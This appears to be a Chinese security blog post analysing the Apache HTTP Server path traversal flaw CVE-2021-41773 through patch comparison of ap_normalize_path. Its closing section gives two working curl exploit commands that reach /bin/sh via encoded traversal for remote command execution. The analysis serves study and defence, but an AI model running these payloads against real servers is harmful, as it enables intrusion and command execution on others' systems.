微慑信息网

Apache HTTP Server路径穿越漏洞 (CVE-2021-41773)

漏洞概述

2021年10月5日,Apache官方发布了一批漏洞信息,其中Apache HTTP Server路径穿越漏洞CVE-2021-41773引起了我们的注意:

CVE-2021-41773

https://httpd.apache.org/security/vulnerabilities_24.html

漏洞在v2.4.50版本中进行了修复,并且只影响该版本。从Apache官方声明来看,攻击者可以使用路径遍历攻击将URL映射到预期文档根以外的文件。如果文档根目录以外的文件不受`require all denied`保护,则攻击者可以访问这些文件。

漏洞分析

下面着手分析一下这个漏洞的成因,直接看源代码可能很难找到漏洞位置,这里通过二进制补丁对比来找到关键函数,可以看到发生变化的函数不多,就下面几个:

容易定位到函数`ap_normalize_path`,其增加了一段判断:

补丁前的代码:

补丁后的代码(增加了对`%2e`进行了处理):

看反汇编有点晕,直接定位到源代码就非常清楚了,在老版本中只处理了`/xx/../`这样的路径,而没有正确处理`/xx/.%2e/`,导致`%2e`被带入后续的处理,发生目录穿越。

v2.4.49版本的源代码:

v2.4.50版本中新增的代码:

漏洞复现

理解漏洞原理之后,复现漏洞就很简单了。

后记

这个漏洞是一个非常典型的目录穿越漏洞,发生在Apache这样应用广泛的服务端软件中实在令人匪夷所思。因此我们继续看了httpd更早期的版本,发现在早期版本中并没有`ap_normalize_path`这个函数,该函数是在v2.4.49版本中引入的。该案例告诉我们:新功能的引入可能会带来不确定的安全隐患。

参考

https://httpd.apache.org/security/vulnerabilities_24.html

https://dlcdn.apache.org/httpd/CHANGES_2.4.50

 

 

拓展阅读(点评/知识):

CVE-2021-41773升级为无码版命令执行[惊恐]

exp:
curl –data “A=|id>>/tmp/x;uname\$IFS-a>>/tmp/x” ‘http ://127.0.0.1:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh’ -vv

curl –data “A=|id>/tmp/x” ‘http ://127.0.0.1:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh’ -vv

本文标题:Apache HTTP Server路径穿越漏洞 (CVE-2021-41773)
本文链接:
(转载请附上本文链接)
https://vulsee.com/archives/vulsee_2021/1007_15432.html
转载请附本站链接,未经允许不得转载,,谢谢:微慑信息网-VulSee.com » Apache HTTP Server路径穿越漏洞 (CVE-2021-41773)
分享到: 更多 (0)

微慑信息网 专注工匠精神

访问我们联系我们